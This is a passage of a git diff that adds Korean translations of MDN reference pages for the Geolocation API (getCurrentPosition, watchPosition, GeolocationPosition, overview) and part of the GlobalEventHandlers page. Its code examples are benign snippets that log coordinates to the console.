+ - Geolocation API
+ - Method
+ - Reference
+ - Secure context
+ - 위치
+ - 위치정보
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<div>{{securecontext_header}}{{ APIRef("Geolocation API") }}</div>
+
+<p><strong><code>Geolocation.getCurrentPosition()</code></strong> 메서드는 장치의 현재 위치를 가져옵니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success</em>[, <em>error</em>[, [<em>options</em>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>success</code></dt>
+ <dd>{{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 받는 콜백 함수.</dd>
+ <dt><code>error</code> {{optional_inline}}</dt>
+ <dd>{{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 받는 콜백 함수.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>{{domxref("PositionOptions")}} 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var options = {
+ enableHighAccuracy: true,
+ timeout: 5000,
+ maximumAge: 0
+};
+
+function success(pos) {
+ var crd = pos.coords;
+
+ console.log('Your current position is:');
+ console.log('Latitude : ' + crd.latitude);
+ console.log('Longitude: ' + crd.longitude);
+ console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+ console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.getCurrentPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/ko/web/api/geolocation/index.html b/files/ko/web/api/geolocation/index.html
new file mode 100644
index 0000000000..475c706920
--- /dev/null
+++ b/files/ko/web/api/geolocation/index.html
@@ -0,0 +1,70 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+ - API
+ - Advanced
+ - Geolocation API
+ - Interface
+ - Reference
+ - Secure context
+ - 위치정보
+translation_of: Web/API/Geolocation
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Geolocation</strong></code> 인터페이스는 장치의 위치를 가져오는 방법을 나타냅니다. <code>Geolocation</code>을 사용하면 웹 사이트나 웹 앱이 위치 정보를 활용해, 현재 위치에 대해 맞춤 콘텐츠를 제공할 수 있습니다.</p>
+
+<p>{{domxref("Navigator")}} 객체의 {{domxref("Navigator.geolocation", "geolocation")}} 속성으로 이 인터페이스를 구현하는 객체에 접근할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>Geolocation</code> 인터페이스는 어떤 속성도 구현하거나 상속하지 않습니다.</em></p>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><em><code>Geolocation</code> 인터페이스는 어떤 메서드도 상속하지 않습니다.</em></em></p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
+ <dd>장치의 현재 위치를 조사한 후 {{domxref("GeolocationPosition")}} 객체로 반환합니다.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
+ <dd>장치의 위치가 변경될 때마다 호출하는 콜백을 등록합니다. 반환값은 콜백의 식별자로 쓸 수 있는 <code>long</code> 값입니다.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
+ <dd><code>watchPosition()</code>을 이용해 등록한 특정 콜백을 삭제합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>초기 명세.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/geolocation/watchposition/index.html b/files/ko/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..0e38ea31ac
--- /dev/null
+++ b/files/ko/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,99 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+tags:
+ - API
+ - Geolocation
+ - Geolocation API
+ - Method
+ - Reference
+ - Secure context
+translation_of: Web/API/Geolocation/watchPosition
+---
+<div>{{securecontext_header}}{{ APIref("Geolocation API") }}</div>
+
+<p><span class="seoSummary">{{domxref("Geolocation")}} 인터페이스의 <strong><code>watchPosition()</code></strong> 메서드는 장치의 위치가 바뀔 때마다 자동으로 호출할 처리기 함수를 등록할 때 사용합니다.</span> 선택적으로 오류 발생 시 사용할 콜백 함수도 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.watchPosition(<em>success</em>[, <em>error</em>[, <em>options</em>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>success</code></dt>
+ <dd>{{domxref("GeolocationPosition")}} 객체를 입력 매개변수로 사용하는 콜백 함수.</dd>
+ <dt><code>error</code> {{optional_inline}}</dt>
+ <dd>{{domxref("GeolocationPositionError")}} 객체를 입력 매개변수로 사용하는 콜백 함수.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>위치 감지 설정 옵션을 제공하는 {{domxref("PositionOptions")}} 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>등록한 처리기를 식별할 때 사용하는 정수 ID. ID를 {{domxref("Geolocation.clearWatch()")}}에 전달해 등록을 해제할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var id, target, options;
+
+function success(pos) {
+ var crd = pos.coords;
+
+ if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+ console.log('Congratulations, you reached the target');
+ navigator.geolocation.clearWatch(id);
+ }
+}
+
+function error(err) {
+ console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+ latitude : 0,
+ longitude: 0
+};
+
+options = {
+ enableHighAccuracy: false,
+ timeout: 5000,
+ maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation', '#dom-geolocation-watchposition', 'watchPosition()')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.watchPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>메서드가 속한 {{domxref("Geolocation")}} 인터페이스와, 접근하는 방법인 {{domxref("NavigatorGeolocation.geolocation")}}.</li>
+ <li>처리기를 해제하는 {{domxref("Geolocation.clearWatch()")}} 메서드</li>
+ <li>비슷한 {{domxref("Geolocation.getCurrentPosition()")}} 메서드</li>
+</ul>
diff --git a/files/ko/web/api/geolocation_api/index.html b/files/ko/web/api/geolocation_api/index.html
new file mode 100644
index 0000000000..e65181fdda
--- /dev/null
+++ b/files/ko/web/api/geolocation_api/index.html
@@ -0,0 +1,97 @@
+---
+title: Geolocation API
+slug: Web/API/Geolocation_API
+tags:
+ - Geolocation API
+ - Guide
+ - Intermediate
+ - Overview
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p><strong>Geolocation API</strong>는 사용자가 원할 경우 웹 애플리케이션에 위치 정보를 제공할 수 있는 API입니다. 개인정보 보호를 위해, 브라우저는 위치 정보를 제공하기 전에 사용자에게 위치 정보 권한에 대한 확인을 받습니다.</p>
+
+<p><code>Geolocation</code> 객체를 사용하려는 WebExtension은 매니페스트에 <code>"geolocation"</code> 권한을 추가해야 합니다. 사용자의 운영 체제는 WebExtension이 처음으로 위치 정보를 요청하는 순간 사용자에게 정보 제공 여부를 물어봅니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>사용자의 현재 위치를 지도에 표시하거나 위치 기반 개인화 정보를 제공하는 등, 웹 앱에서 위치 정보를 가져와야 하는 경우가 종종 있습니다.</p>
+
+<p>Geolocation API는 {{domxref("Navigator.geolocation", "navigator.geolocation")}}을 통해 접근합니다. 이 때, 사용자의 브라우저는 위치 정보 접근 권한을 요청하게 되고, 사용자가 허가할 경우 현재 장치에서 사용 가능한 최선의 방법(GPS, WiFi, ...)을 통해 위치를 알아냅니다.</p>
+
+<p>위의 과정이 끝난 후, 코드에서는 몇 가지 다른 방법으로 위치 정보를 가져올 수 있습니다.</p>
+
+<ul>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}: 장치의 현재 위치를 가져옵니다.</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}: 장치의 위치가 바뀔 때마다, 자동으로 새로운 위치를 사용해 호출할 처리기 함수를 등록합니다.</li>
+</ul>
+
+<p>두 메서드 모두 최대 세 개의 매개변수를 받습니다.</p>
+
+<ul>
+ <li>필수로 지정하는 성공 콜백: 위치 정보를 성공적으로 가져온 경우, 위치 데이터를 담은 {{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 하여 콜백을 호출합니다.</li>
+ <li>선택적으로 지정하는 실패 콜백: 위치 정보를 가져오지 못한 경우, 실패 원인을 담은 {{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 하여 콜백을 호출합니다.</li>
+ <li>선택적으로 지정하는 {{domxref("PositionOptions")}} 객체는 위치 정보 회수에 적용할 옵션을 제공합니다.</li>
+</ul>
+
+<p><code>Geolocation</code> 사용법에 대한 추가 정보는 <a href="/ko/docs/WebAPI/Using_geolocation">Geolocation API 사용하기</a> 문서를 참고하세요.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Geolocation")}}</dt>
+ <dd>Geolocation API의 주요 클래스로서 사용자의 현재 위치를 가져오고, 위치 변경을 감지하고, 이전에 등록했던 감지기를 제거하는 메서드를 담고 있습니다.</dd>
+ <dt>{{domxref("GeolocationPosition")}}</dt>
+ <dd>사용자의 위치를 나타냅니다. <code>GeolocationPosition</code> 인스턴스는 {{domxref("Geolocation")}} 객체 메서드의 성공 콜백에 제공되며, 타임스탬프와 함께 {{domxref("GeolocationCoordinates")}} 객체 인스턴스를 포함합니다.</dd>
+ <dt>{{domxref("GeolocationCoordinates")}}</dt>
+ <dd>사용자 위치의 좌표를 나타냅니다. <code>GeolocationCoordinates</code> 인스턴스는 위도, 경도 외에도 기타 중요한 관련 정보를 포함합니다.</dd>
+ <dt>{{domxref("GeolocationPositionError")}}</dt>
+ <dd><code>GeolocationPositionError</code>는 {{domxref("Geolocation")}} 객체 메서드의 오류 콜백에 제공되며, 오류 코드와 오류 메시지를 담고 있습니다.</dd>
+ <dt>{{domxref("Navigator.geolocation")}}</dt>
+ <dd>API로 접근할 수 있는 지점입니다. {{domxref("Geolocation")}} 객체 인스턴스를 반환합니다.</dd>
+</dl>
+
+<h2 id="연관_배열">연관 배열</h2>
+
+<dl>
+ <dt>{{domxref("PositionOptions")}}</dt>
+ <dd>{{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}에 매개변수로 전달할 옵션을 나타내는 객체입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Geolocation")}}</td>
+ <td>{{Spec2("Geolocation")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="가용성">가용성</h3>
+
+<p>WiFi 기반의 위치 정보는 보통 Google이 제공하므로, 기본 Geolocation API는 중국에서 사용하지 못할 수도 있습니다. 대신 <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a>, <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a> 등 지역 서드파티 제공자가 지원하는 라이브러리를 사용할 수 있습니다. 위 서비스는 WiFi 대신 IP 주소와 지역 앱을 사용해 위치 정보를 개선합니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using">Geolocation API 사용하기</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">w3.org의 Geolocation API</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Who moved my geolocation?</a> (Hacks 블로그)</li>
+</ul>
diff --git a/files/ko/web/api/geolocationposition/index.html b/files/ko/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..c941b7f961
--- /dev/null
+++ b/files/ko/web/api/geolocationposition/index.html
@@ -0,0 +1,62 @@
+---
+title: GeolocationPosition
+slug: Web/API/GeolocationPosition
+tags:
+ - API
+ - Geolocation API
+ - GeolocationPosition
+ - Interface
+ - Reference
+ - Secure context
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><span class="seoSummary"><strong><code>GeolocationPosition</code></strong> 인터페이스는 주어진 시간에 장치가 위치한 지점을 나타냅니다</span>. 지점은 {{domxref("Coordinates")}} 객체로 표현하여, 지구를 나타내는 회전타원체 위의 2D 위치와 더불어 높이와 속도 정보를 담습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>GeolocationPosition</code> 인터페이스는 어떤 속성도 상속하지 않습니다.</p>
+
+<dl>
+ <dt>{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>주어진 시간의 위치를 나타내는 {{domxref("Coordinates")}} 객체입니다.</dd>
+ <dt>{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>위치를 기록한 시간을 나타내는 {{domxref("DOMTimeStamp")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>GeolocationPosition</code> 인터페이스는 어떤 메서드도 상속하거나 구현하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation', '#position', 'Position')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.GeolocationPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API">위치정보 사용하기</a></li>
+ <li>이 인터페이스를 사용하는 {{domxref("Geolocation")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/index.html b/files/ko/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..46d38934b1
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/index.html
@@ -0,0 +1,268 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+ - API
+ - DOM
+ - HTML DOM
+ - Mixin
+ - Reference
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong><code>GlobalEventHandlers</code></strong> 믹스인<sup>mixin</sup>은 {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} 등 여러 인터페이스가 공유하는 공통 이벤트 처리기를 묘사합니다. 물론, 각각의 인터페이스는 아래에 나열된 항목뿐만 아니라 더 많은 이벤트 처리기를 추가할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>GlobalEventHandlers</code>는 인터페이스가 아닌 믹스인입니다. 따라서 <code>GlobalEventHandlers</code> 자료형을 가진 객체를 만들 수는 없습니다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 아래에 나열된 이벤트 처리기를 위한 속성만을 갖습니다.</em></p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<p>다음 이벤트 처리기들은 {{domxref("GlobalEventHandlers")}} 믹스인이 정의하고, {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}와 웹 워커의 {{domxref("WorkerGlobalScope")}}가 구현합니다.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>{{event("abort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중이던 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>이 취소됐음을 알리는 {{event("animationcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중이던 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>이 끝났음을 알리는 {{event("animationend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중인 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>의 다음 회차 재생이 시작됐음을 알리는 {{event("animationiteration")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>의 재생이 시작됐음을 알리는 {{event("animationstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>마우스 휠 클릭 등 비주요 버튼이 눌렸음을 알리는 {{event("auxclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>{{event("blur")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("OnErrorEventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>{{event("focus")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>{{event("cancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>{{event("canplay")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>{{event("canplaythrough")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>{{event("change")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>{{event("click")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>{{event("close")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>{{event("contextmenu")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>{{event("cuechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>{{event("dblclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>{{event("drag")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>{{event("dragend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>{{event("dragenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>{{event("dragexit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>{{event("dragleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>{{event("dragover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>{{event("dragstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>{{event("drop")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>{{event("durationchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>{{event("emptied")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>{{event("ended")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>
+ <p>{{event("gotpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>{{event("input")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>{{event("invalid")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>{{event("keydown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>{{event("keypress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>{{event("keyup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>{{event("load")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>{{event("loadeddata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>{{event("loadedmetadata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>자원의 불러오기가 멈췄음을 나타내는 {{event("loadend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>자원을 불러오기 시작함을 나타내는 {{event("loadstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>
+ <p>{{event("lostpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>{{event("mousedown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>{{event("mouseenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>{{event("mouseleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>{{event("mousemove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>{{event("mouseout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>{{event("mouseover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>{{event("mouseup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>{{event("mousewheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}. <code>onwheel</code>을 대신 사용하세요.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt>
+ <dd>{{event("wheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>{{event("pause")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>{{event("play")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
